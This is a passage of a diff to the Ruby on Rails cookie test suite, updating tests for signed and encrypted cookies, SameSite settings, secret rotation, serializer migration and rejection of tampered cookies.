+      cookies[:favorite] = "rTG4zs5UufEFAr+ppKwh+MDMymKyAUMOSaWyYa3uUVmD8sMQqyiyQBxgYeAncDHVZIlo4y+kDVSzp66u1/7BNYpnmFe8ES/YT2m8ckNA23jBDmnRZ9CTNfMIRXjFtfxO9YxEOzzhn0ZiA0/zFtr5wkluXtxplOz959Q7MgLOyvTze2h9p8A=--QHOS3rAEGq/HCxXs--xQNra8dk24Idc2qBtpMLpg=="
+
+      head :ok
+    end
+
+    def rails_5_2_stable_signed_cookie_with_authenticated_encryption_flag_on
+      # cookies.signed[:favorite] = { value: "5-2-Stable Choco Chip Cookie", expires: 1000.years }
+      cookies[:favorite] = "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaUUxTFRJdFUzUmhZbXhsSUVOb2IyTnZJRU5vYVhBZ1EyOXZhMmxsQmpvR1JWUT0iLCJleHAiOiIzMDE4LTA3LTExVDE2OjExOjI2Ljc1M1oiLCJwdXIiOm51bGx9fQ==--7df5d885b78b70a501d6e82140ae91b24060ac00"
+
+      head :ok
+    end
+
+    def rails_5_2_stable_signed_cookie_with_authenticated_encryption_flag_off
+      cookies[:favorite] = "BAhJIiE1LTItU3RhYmxlIENob2NvIENoaXAgQ29va2llBjoGRVQ=--50bbdbf8d64f5a3ec3e54878f54d4f55b6cb3aff"
+
+      head :ok
+    end
+
+    def set_same_site_strict
+      cookies["user_name"] = { value: "david", same_site: :strict }
+      head :ok
+    end
+
+    def set_same_site_nil
+      cookies["user_name"] = { value: "david", same_site: nil }
+      head :ok
+    end
   end
 
   tests TestController
 
-  SALT = "b3c631c314c0bbca50c1b2843150fe33"
+  SECRET_KEY_BASE = "b3c631c314c0bbca50c1b2843150fe33"
+  SIGNED_COOKIE_SALT = "signed cookie"
+  ENCRYPTED_COOKIE_SALT = "encrypted cookie"
+  ENCRYPTED_SIGNED_COOKIE_SALT = "signed encrypted cookie"
+  AUTHENTICATED_ENCRYPTED_COOKIE_SALT = "authenticated encrypted cookie"
 
   def setup
     super
 
-    @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new(SALT, iterations: 2)
+    @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new(SECRET_KEY_BASE, iterations: 2)
+    @request.env["action_dispatch.cookies_rotations"] = ActiveSupport::Messages::RotationConfiguration.new
 
-    @request.env["action_dispatch.signed_cookie_salt"] =
-      @request.env["action_dispatch.encrypted_cookie_salt"] =
-      @request.env["action_dispatch.encrypted_signed_cookie_salt"] = SALT
+    @request.env["action_dispatch.secret_key_base"] = SECRET_KEY_BASE
+    @request.env["action_dispatch.use_authenticated_cookie_encryption"] = true
 
+    @request.env["action_dispatch.signed_cookie_salt"] = SIGNED_COOKIE_SALT
+    @request.env["action_dispatch.encrypted_cookie_salt"] = ENCRYPTED_COOKIE_SALT
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = ENCRYPTED_SIGNED_COOKIE_SALT
+    @request.env["action_dispatch.authenticated_encrypted_cookie_salt"] = AUTHENTICATED_ENCRYPTED_COOKIE_SALT
+
+    @request.env["action_dispatch.cookies_same_site_protection"] = proc { :lax }
     @request.host = "www.nextangle.com"
   end
 
+  def test_setting_cookie_with_no_same_site_protection
+    @request.env["action_dispatch.cookies_same_site_protection"] = proc { :none }
+
+    get :authenticate
+    assert_set_cookie_header "user_name=david; path=/; SameSite=None"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_same_site_protection_proc_normal_user_agent
+    @request.env["action_dispatch.cookies_same_site_protection"] = Proc.new do |request|
+      :strict unless request.user_agent == "spooky browser"
+    end
+
+    get :authenticate
+    assert_set_cookie_header "user_name=david; path=/; SameSite=Strict"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_same_site_protection_proc_special_user_agent
+    @request.env["action_dispatch.cookies_same_site_protection"] = Proc.new do |request|
+      :strict unless request.user_agent == "spooky browser"
+    end
+
+    request.user_agent = "spooky browser"
+    get :authenticate
+    assert_set_cookie_header "user_name=david; path=/"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_misspelled_same_site_protection_raises
+    @request.env["action_dispatch.cookies_same_site_protection"] = proc { :funky }
+
+    error = assert_raise ArgumentError do
+      get :authenticate
+    end
+    assert_match(/Invalid :?Same_?Site value: :funky/i, error.message)
+  end
+
+  def test_setting_cookie_with_same_site_strict
+    @request.env["action_dispatch.cookies_same_site_protection"] = proc { :strict }
+
+    get :authenticate
+    assert_set_cookie_header "user_name=david; path=/; SameSite=Strict"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_same_site_nil
+    @request.env["action_dispatch.cookies_same_site_protection"] = proc { nil }
+
+    get :authenticate
+    assert_set_cookie_header "user_name=david; path=/"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_specific_same_site_strict
+    @request.env["action_dispatch.cookies_same_site_protection"] = proc { :lax }
+
+    get :set_same_site_strict
+    assert_set_cookie_header "user_name=david; path=/; SameSite=Strict"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_specific_same_site_nil
+    @request.env["action_dispatch.cookies_same_site_protection"] = proc { :lax }
+
+    get :set_same_site_nil
+    assert_set_cookie_header "user_name=david; path=/"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
   def test_setting_cookie
     get :authenticate
-    assert_cookie_header "user_name=david; path=/"
+    assert_set_cookie_header "user_name=david; path=/; SameSite=Lax"
     assert_equal({ "user_name" => "david" }, @response.cookies)
   end
 
   def test_setting_the_same_value_to_cookie
     request.cookies[:user_name] = "david"
     get :authenticate
-    assert_predicate response.cookies, :empty?
+    assert_empty response.cookies
   end
 
   def test_setting_the_same_value_to_permanent_cookie
@@ -312,41 +488,42 @@ def test_setting_the_same_value_to_permanent_cookie
     assert_equal({ "user_name" => "Jamie" }, response.cookies)
   end
 
-  def test_setting_with_escapable_characters
-    get :set_with_with_escapable_characters
-    assert_cookie_header "that+%26+guy=foo+%26+bar+%3D%3E+baz; path=/"
-    assert_equal({ "that & guy" => "foo & bar => baz" }, @response.cookies)
-  end
-
   def test_setting_cookie_for_fourteen_days
     get :authenticate_for_fourteen_days
-    assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+    assert_set_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 GMT; SameSite=Lax"
     assert_equal({ "user_name" => "david" }, @response.cookies)
   end
 
   def test_setting_cookie_for_fourteen_days_with_symbols
     get :authenticate_for_fourteen_days_with_symbols
-    assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+    assert_set_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 GMT; SameSite=Lax"
     assert_equal({ "user_name" => "david" }, @response.cookies)
   end
 
   def test_setting_cookie_with_http_only
     get :authenticate_with_http_only
-    assert_cookie_header "user_name=david; path=/; HttpOnly"
+    assert_set_cookie_header "user_name=david; path=/; HttpOnly; SameSite=Lax"
     assert_equal({ "user_name" => "david" }, @response.cookies)
   end
 
   def test_setting_cookie_with_secure
     @request.env["HTTPS"] = "on"
     get :authenticate_with_secure
-    assert_cookie_header "user_name=david; path=/; secure"
+    assert_set_cookie_header "user_name=david; path=/; secure; SameSite=Lax"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_secure_on_onion_address
+    @request.host = "fake.onion"
+    get :authenticate_with_secure
+    assert_set_cookie_header "user_name=david; path=/; secure; SameSite=Lax"
     assert_equal({ "user_name" => "david" }, @response.cookies)
   end
 
   def test_setting_cookie_with_secure_when_always_write_cookie_is_true
     old_cookie, @request.cookie_jar.always_write_cookie = @request.cookie_jar.always_write_cookie, true
     get :authenticate_with_secure
-    assert_cookie_header "user_name=david; path=/; secure"
+    assert_set_cookie_header "user_name=david; path=/; secure; SameSite=Lax"
     assert_equal({ "user_name" => "david" }, @response.cookies)
   ensure
     @request.cookie_jar.always_write_cookie = old_cookie
@@ -354,14 +531,14 @@ def test_setting_cookie_with_secure_when_always_write_cookie_is_true
 
   def test_not_setting_cookie_with_secure
     get :authenticate_with_secure
-    assert_not_cookie_header "user_name=david; path=/; secure"
+    assert_not_set_cookie_header("user_name")
     assert_not_equal({ "user_name" => "david" }, @response.cookies)
   end
 
   def test_multiple_cookies
     get :set_multiple_cookies
     assert_equal 2, @response.cookies.size
-    assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000\nlogin=XJ-122; path=/"
+    assert_set_cookie_header ["user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 GMT; SameSite=Lax", "login=XJ-122; path=/; SameSite=Lax"]
     assert_equal({ "login" => "XJ-122", "user_name" => "david" }, @response.cookies)
   end
 
@@ -372,20 +549,31 @@ def test_setting_test_cookie
   def test_expiring_cookie
     request.cookies[:user_name] = "Joe"
     get :logout
-    assert_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+    assert_set_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Lax"
     assert_equal({ "user_name" => nil }, @response.cookies)
   end
 
   def test_delete_cookie_with_path
     request.cookies[:user_name] = "Joe"
     get :delete_cookie_with_path
-    assert_cookie_header "user_name=; path=/beaten; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+    assert_set_cookie_header "user_name=; path=/beaten; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Lax"
+  end
+
+  def test_delete_cookie_return_value
+    request.cookies[:user_name] = "Joe"
+    return_value = request.cookies.delete(:user_name)
+    assert_equal "Joe", return_value
+  end
+
+  def test_delete_unexisting_cookie_return_value
+    return_value = request.cookies.delete(:no_such_cookie)
+    assert_nil return_value
   end
 
   def test_delete_unexisting_cookie
     request.cookies.clear
     get :delete_cookie
-    assert_predicate @response.cookies, :empty?
+    assert_empty @response.cookies
   end
 
   def test_deleted_cookie_predicate
@@ -395,6 +583,15 @@ def test_deleted_cookie_predicate
     assert_equal false, cookies.deleted?("another")
   end
 
+  # Ensure all HTTP methods have their cookies updated
+  [:get, :post, :patch, :put, :delete, :head].each do |method|
+    define_method("test_deleting_cookie_#{method}") do
+      request.cookies[:user_name] = "Joe"
+      public_send method, :logout
+      assert_nil cookies[:user_name]
+    end
+  end
+
   def test_deleted_cookie_predicate_with_mismatching_options
     cookies[:user_name] = "Joe"
     cookies.delete("user_name", path: "/path")
@@ -424,28 +621,57 @@ def test_signed_cookie_using_default_digest
     assert_equal 45, cookies.signed[:user_id]
 
     key_generator = @request.env["action_dispatch.key_generator"]
-    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
-    secret = key_generator.generate_key(signed_cookie_salt)
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
 
     verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: "SHA1")
     assert_equal verifier.generate(45), cookies[:user_id]
   end
 
   def test_signed_cookie_using_custom_digest
-    @request.env["action_dispatch.cookies_digest"] = "SHA256"
+    @request.env["action_dispatch.signed_cookie_digest"] = "SHA256"
+
     get :set_signed_cookie
     cookies = @controller.send :cookies
     assert_not_equal 45, cookies[:user_id]
     assert_equal 45, cookies.signed[:user_id]
 
     key_generator = @request.env["action_dispatch.key_generator"]
-    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
-    secret = key_generator.generate_key(signed_cookie_salt)
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
 
     verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: "SHA256")
     assert_equal verifier.generate(45), cookies[:user_id]
   end
 
+  def test_signed_cookie_rotating_secret_and_digest
+    secret = "b3c631c314c0bbca50c1b2843150fe33"
+
+    @request.env["action_dispatch.signed_cookie_digest"] = "SHA256"
+    @request.env["action_dispatch.cookies_rotations"].rotate :signed, secret, digest: "SHA1"
+
+    old_message = ActiveSupport::MessageVerifier.new(secret, digest: "SHA1", serializer: Marshal).generate(45)
+    @request.headers["Cookie"] = "user_id=#{old_message}"
+
+    get :get_signed_cookie
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, digest: "SHA256", serializer: Marshal)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_tampered_with_signed_cookie
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: "SHA1")
+    message = verifier.generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{Marshal.dump 45}--#{message.split("--").last}"
+    get :get_signed_cookie
+    assert_nil @controller.send(:cookies).signed[:user_id]
+  end
+
   def test_signed_cookie_using_default_serializer
     get :set_signed_cookie
     cookies = @controller.send :cookies
@@ -477,6 +703,14 @@ def test_wrapped_signed_cookie_using_json_serializer
     assert_equal "wrapped: 45", cookies.signed[:user_id]
   end
 
+  def test_signed_cookie_using_message_pack_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :message_pack
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
   def test_signed_cookie_using_custom_serializer
     @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
     get :set_signed_cookie
@@ -484,12 +718,29 @@ def test_signed_cookie_using_custom_serializer
     assert_equal "45 was dumped and loaded", cookies.signed[:user_id]
   end
 
+  def test_signed_cookie_using_marshal_serializer_can_read_from_json_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :marshal
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+
+    json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)
+    @request.headers["Cookie"] = "user_id=#{json_value}"
+
+    get :get_signed_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    assert_nil @response.cookies["user_id"]
+  end
+
   def test_signed_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
     @request.env["action_dispatch.cookies_serializer"] = :hybrid
 
     key_generator = @request.env["action_dispatch.key_generator"]
-    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
-    secret = key_generator.generate_key(signed_cookie_salt)
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
 
     marshal_value = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal).generate(45)
     @request.headers["Cookie"] = "user_id=#{marshal_value}"
@@ -508,8 +759,8 @@ def test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
     @request.env["action_dispatch.cookies_serializer"] = :hybrid
 
     key_generator = @request.env["action_dispatch.key_generator"]
-    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
-    secret = key_generator.generate_key(signed_cookie_salt)
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+
     json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)
     @request.headers["Cookie"] = "user_id=#{json_value}"
 
@@ -522,6 +773,43 @@ def test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
     assert_nil @response.cookies["user_id"]
   end
 
+  def test_signed_cookie_using_json_serializer_will_drop_marshal_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :json
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+
+    marshal_value = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal).generate("bar")
+
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape marshal_value}"
+
+    get :get_signed_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_nil cookies.signed[:foo]
+    assert_nil @response.cookies["foo"]
+  end
+
+  def test_signed_cookie_using_message_pack_serializer_can_migrate_json_dumped_value_to_message_pack
+    @request.env["action_dispatch.cookies_serializer"] = :message_pack
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+
+    json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)
+    @request.headers["Cookie"] = "user_id=#{json_value}"
+
+    get :get_signed_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: ActiveSupport::MessagePack)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
   def test_accessing_nonexistent_signed_cookie_should_not_raise_an_invalid_signature
     get :set_signed_cookie
     assert_nil @controller.send(:cookies).signed[:non_existent_attribute]
@@ -531,9 +819,7 @@ def test_encrypted_cookie_using_default_serializer
     get :set_encrypted_cookie
     cookies = @controller.send :cookies
     assert_not_equal "bar", cookies[:foo]
-    assert_raise TypeError do
-      cookies.signed[:foo]
-    end
+    assert_nil cookies.signed[:foo]
     assert_equal "bar", cookies.encrypted[:foo]
   end
 
@@ -542,9 +828,7 @@ def test_encrypted_cookie_using_marshal_serializer
     get :set_encrypted_cookie
     cookies = @controller.send :cookies
     assert_not_equal "bar", cookies[:foo]
-    assert_raises TypeError do
-      cookies.signed[:foo]
-    end
+    assert_nil cookies.signed[:foo]
     assert_equal "bar", cookies.encrypted[:foo]
   end
 
@@ -553,9 +837,7 @@ def test_encrypted_cookie_using_json_serializer
     get :set_encrypted_cookie
     cookies = @controller.send :cookies
     assert_not_equal "bar", cookies[:foo]
-    assert_raises ::JSON::ParserError do
-      cookies.signed[:foo]
-    end
+    assert_nil cookies.signed[:foo]
     assert_equal "bar", cookies.encrypted[:foo]
   end
 
@@ -564,12 +846,19 @@ def test_wrapped_encrypted_cookie_using_json_serializer
     get :set_wrapped_encrypted_cookie
     cookies = @controller.send :cookies
     assert_not_equal "wrapped: bar", cookies[:foo]
-    assert_raises ::JSON::ParserError do
-      cookies.signed[:foo]
-    end
+    assert_nil cookies.signed[:foo]
     assert_equal "wrapped: bar", cookies.encrypted[:foo]
   end
 
+  def test_encrypted_cookie_using_message_pack_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :message_pack
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_nil cookies.signed[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+  end
+
   def test_encrypted_cookie_using_custom_serializer
     @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
     get :set_encrypted_cookie
@@ -577,38 +866,36 @@ def test_encrypted_cookie_using_custom_serializer
     assert_equal "bar was dumped and loaded", cookies.encrypted[:foo]
   end
 
-  def test_encrypted_cookie_using_custom_digest
-    @request.env["action_dispatch.cookies_digest"] = "SHA256"
-    get :set_encrypted_cookie
-    cookies = @controller.send :cookies
-    assert_not_equal "bar", cookies[:foo]
-    assert_equal "bar", cookies.encrypted[:foo]
+  def test_encrypted_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
 
-    sign_secret = @request.env["action_dispatch.key_generator"].generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.authenticated_encrypted_cookie_salt"], 32)
 
-    sha1_verifier   = ActiveSupport::MessageVerifier.new(sign_secret, serializer: ActiveSupport::MessageEncryptor::NullSerializer, digest: "SHA1")
-    sha256_verifier = ActiveSupport::MessageVerifier.new(sign_secret, serializer: ActiveSupport::MessageEncryptor::NullSerializer, digest: "SHA256")
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: Marshal)
+    marshal_value = encryptor.encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape marshal_value}"
 
-    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
-      sha1_verifier.verify(cookies[:foo])
-    end
+    get :get_encrypted_cookie
 
-    assert_nothing_raised do
-      sha256_verifier.verify(cookies[:foo])
-    end
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    json_encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: JSON)
+    assert_not_nil @response.cookies["foo"]
+    assert_equal "bar", json_encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
-  def test_encrypted_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+  def test_encrypted_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
     @request.env["action_dispatch.cookies_serializer"] = :hybrid
 
     key_generator = @request.env["action_dispatch.key_generator"]
-    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
-    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
-    secret = key_generator.generate_key(encrypted_cookie_salt)
-    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    secret = key_generator.generate_key(@request.env["action_dispatch.authenticated_encrypted_cookie_salt"], 32)
 
-    marshal_value = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret, serializer: Marshal).encrypt_and_sign("bar")
-    @request.headers["Cookie"] = "foo=#{marshal_value}"
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: JSON)
+    json_value = encryptor.encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape json_value}"
 
     get :get_encrypted_cookie
 
@@ -616,41 +903,46 @@ def test_encrypted_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_val
     assert_not_equal "bar", cookies[:foo]
     assert_equal "bar", cookies.encrypted[:foo]
 
-    encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret, serializer: JSON)
-    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+    assert_nil @response.cookies["foo"]
   end
 
-  def test_encrypted_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
-    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+  def test_encrypted_cookie_using_json_serializer_will_drop_marshal_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :json
 
     key_generator = @request.env["action_dispatch.key_generator"]
-    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
-    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
-    secret = key_generator.generate_key(encrypted_cookie_salt)
-    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
-    json_value = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret, serializer: JSON).encrypt_and_sign("bar")
-    @request.headers["Cookie"] = "foo=#{json_value}"
+    secret = key_generator.generate_key(@request.env["action_dispatch.authenticated_encrypted_cookie_salt"], 32)
+
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: Marshal)
+    marshal_value = encryptor.encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape marshal_value}"
 
     get :get_encrypted_cookie
 
     cookies = @controller.send :cookies
     assert_not_equal "bar", cookies[:foo]
-    assert_equal "bar", cookies.encrypted[:foo]
-
+    assert_nil cookies.encrypted[:foo] # #parse rescues JSON::ParserError and returns nil
     assert_nil @response.cookies["foo"]
   end
 
-  def test_compat_encrypted_cookie_using_64_byte_key
-    # Cookie generated with 64 bytes secret
-    message = ["566d4e75536d686e633246564e6b493062557079626c566d51574d30515430394c53315665564a694e4563786555744f57537454576b396a5a31566a626e52525054303d2d2d34663234333330623130623261306163363562316266323335396164666364613564643134623131"].pack("H*")
-    @request.headers["Cookie"] = "foo=#{message}"
+  def test_encrypted_cookie_using_message_pack_serializer_can_migrate_json_dumped_value_to_message_pack
+    @request.env["action_dispatch.cookies_serializer"] = :message_pack
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.authenticated_encrypted_cookie_salt"], 32)
+
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: JSON)
+    marshal_value = encryptor.encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape marshal_value}"
 
     get :get_encrypted_cookie
 
     cookies = @controller.send :cookies
     assert_not_equal "bar", cookies[:foo]
     assert_equal "bar", cookies.encrypted[:foo]
-    assert_nil @response.cookies["foo"]
+
+    json_encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: ActiveSupport::MessagePack)
+    assert_not_nil @response.cookies["foo"]
+    assert_equal "bar", json_encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
   def test_accessing_nonexistent_encrypted_cookie_should_not_raise_invalid_message
@@ -672,14 +964,15 @@ def test_permanent_signed_cookie
   def test_delete_and_set_cookie
     request.cookies[:user_name] = "Joe"
     get :delete_and_set_cookie
-    assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+    assert_set_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 GMT; SameSite=Lax"
     assert_equal({ "user_name" => "david" }, @response.cookies)
   end
 
   def test_raise_data_overflow
-    assert_raise(ActionDispatch::Cookies::CookieOverflow) do
+    error = assert_raise(ActionDispatch::Cookies::CookieOverflow) do
       get :raise_data_overflow
     end
+    assert_equal "foo cookie overflowed with size 5525 bytes", error.message
   end
 
   def test_tampered_cookies
@@ -698,398 +991,415 @@ def test_cookie_jar_mutated_by_request_persists_on_future_requests
     assert_equal ["user_name", "user_id"], @request.cookie_jar.instance_variable_get(:@cookies).keys
   end
 
-  def test_raises_argument_error_if_missing_secret
-    assert_raise(ArgumentError, nil.inspect) {
-      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(nil)
-      get :set_signed_cookie
-    }
-
-    assert_raise(ArgumentError, "".inspect) {
-      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("")
-      get :set_signed_cookie
-    }
-  end
-
-  def test_raises_argument_error_if_secret_is_probably_insecure
-    assert_raise(ArgumentError, "password".inspect) {
-      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("password")
-      get :set_signed_cookie
-    }
-
-    assert_raise(ArgumentError, "secret".inspect) {
-      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("secret")
-      get :set_signed_cookie
-    }
-
-    assert_raise(ArgumentError, "12345678901234567890123456789".inspect) {
-      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("12345678901234567890123456789")
-      get :set_signed_cookie
-    }
-  end
+  def test_legacy_signed_cookie_is_treated_as_nil_by_signed_cookie_jar_if_tampered
+    @request.headers["Cookie"] = "user_id=45"
+    get :get_signed_cookie
 
-  def test_signed_uses_signed_cookie_jar_if_only_secret_token_is_set
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = nil
-    get :set_signed_cookie
-    assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed
+    assert_nil @controller.send(:cookies).signed[:user_id]
+    assert_nil @response.cookies["user_id"]
   end
 
-  def test_signed_uses_signed_cookie_jar_if_only_secret_key_base_is_set
-    @request.env["action_dispatch.secret_token"] = nil
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    get :set_signed_cookie
-    assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed
-  end
+  def test_legacy_signed_cookie_is_treated_as_nil_by_encrypted_cookie_jar_if_tampered
+    @request.headers["Cookie"] = "foo=baz"
+    get :get_encrypted_cookie
 
-  def test_signed_uses_upgrade_legacy_signed_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    get :set_signed_cookie
-    assert_kind_of ActionDispatch::Cookies::UpgradeLegacySignedCookieJar, cookies.signed
+    assert_nil @controller.send(:cookies).encrypted[:foo]
+    assert_nil @response.cookies["foo"]
   end
 
-  def test_signed_or_encrypted_uses_signed_cookie_jar_if_only_secret_token_is_set
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = nil
-    get :get_encrypted_cookie
-    assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed_or_encrypted
-  end
+  def test_use_authenticated_cookie_encryption_uses_legacy_hmac_aes_cbc_encryption_when_not_enabled
+    @request.env["action_dispatch.use_authenticated_cookie_encryption"] = nil
 
-  def test_signed_or_encrypted_uses_encrypted_cookie_jar_if_only_secret_key_base_is_set
